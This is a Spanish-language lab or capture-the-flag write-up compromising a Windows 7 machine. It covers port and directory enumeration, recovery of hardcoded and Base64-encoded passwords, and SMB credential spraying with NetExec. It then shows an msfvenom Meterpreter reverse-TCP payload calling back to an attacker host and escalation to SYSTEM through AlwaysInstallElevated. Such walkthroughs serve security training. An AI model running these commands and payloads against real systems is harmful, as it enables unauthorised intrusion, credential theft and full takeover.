Enumeración y exposición de credenciales
Enumeramos puertos (Windows 7):
❯ nmap -sCV -p 21,135,139,445,3389,5357,8080,... -oN 02-targeted.txt 10.214.65.189
...
21/tcp open ftp Microsoft ftpd
445/tcp open microsoft-ds Windows 7 Professional 7601 SP1
3389/tcp open ms-wbt-server Microsoft Terminal Service
8080/tcp open http Apache httpd 2.4.57 ((Win64))
|_http-title: We Are Sorry
...La enumeración del puerto 8080 descubre /admin. La validación del formulario está implementada en JavaScript del lado del cliente, por lo que el navegador recibe tanto la lógica como las credenciales hardcodeadas. Leer el código fuente permite recuperarlas sin superar un control en el servidor:
❯ gobuster dir -u 'http://10.214.65.189:8080' -w directory-list-2.3-medium.txt -x php,txt,html -r
/index.html (Status: 200)
/admin (Status: 200)if (username === 'admin' && password === 'adminpass123') {
return true
}Al iniciar sesión, el panel entrega credenciales FTP codificadas en Base64. Esta codificación cambia su representación, pero no protege el secreto:
❯ echo 'ZnRwdXNlcjpLZWVwR29pbmdCcm8hISE=' | base64 -d
ftpuser:KeepGoingBro!!!El FTP contiene un robots.txt que apunta a una página secreta. Allí aparece otra contraseña codificada en Base64, esta vez asociada al usuario always:
❯ curl http://10.214.65.189:8080/admins-secret-pagexxx.html
...
4) Don't forget to change the password for user 'always'. Current password is "WW91Q2FudEZpbmRNZS4hLiE=".
...
❯ echo 'WW91Q2FudEZpbmRNZS4hLiE=' | base64 -d
YouCantFindMe.!.!Probamos los pares recuperados contra SMB con NetExec. La salida distingue el intento rechazado de la autenticación correcta de ftpuser:
❯ netexec smb 10.214.65.189 -u users.txt -p passwds.txt
SMB 10.214.65.189 445 ALWAYS-PC [-] Always-PC\always:KeepGoingBro!!! STATUS_LOGON_FAILURE
SMB 10.214.65.189 445 ALWAYS-PC [+] Always-PC\ftpuser:KeepGoingBro!!!Preparación de la sesión local
Con las credenciales de ftpuser iniciamos sesión mediante la interfaz gráfica disponible en el laboratorio. Desde esa sesión transferimos un Meterpreter y configuramos un handler con migración automática para mantener el canal de administración:
❯ msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.214.65.50 LPORT=1234 -f exe -o pwned.exe
❯ python3 -m http.server
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.214.65.50
msf6 exploit(multi/handler) > set lport 1234
msf6 exploit(multi/handler) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(multi/handler) > run
...
meterpreter >Escalada mediante AlwaysInstallElevated
local_exploit_suggester detecta AlwaysInstallElevated. Esta configuración hace que Windows Installer procese paquetes MSI con privilegios elevados cuando las políticas de usuario y equipo necesarias están activas. Por eso un MSI controlado desde la sesión local puede ejecutar su carga como SYSTEM:
msf6 post(multi/recon/local_exploit_suggester) > run
...
1 exploit/windows/local/always_install_elevated Yes The target is vulnerable.
...Ejecutamos el módulo contra la sesión y verificamos la identidad del shell resultante:
msf6 exploit(windows/local/always_install_elevated) > set session 1
msf6 exploit(windows/local/always_install_elevated) > run
[*] Uploading the MSI to ...
[*] Executing MSI...
...
meterpreter > shell
C:\Windows\system32>whoami
nt authority\systemnt authority\system confirma la escalada.
Fin.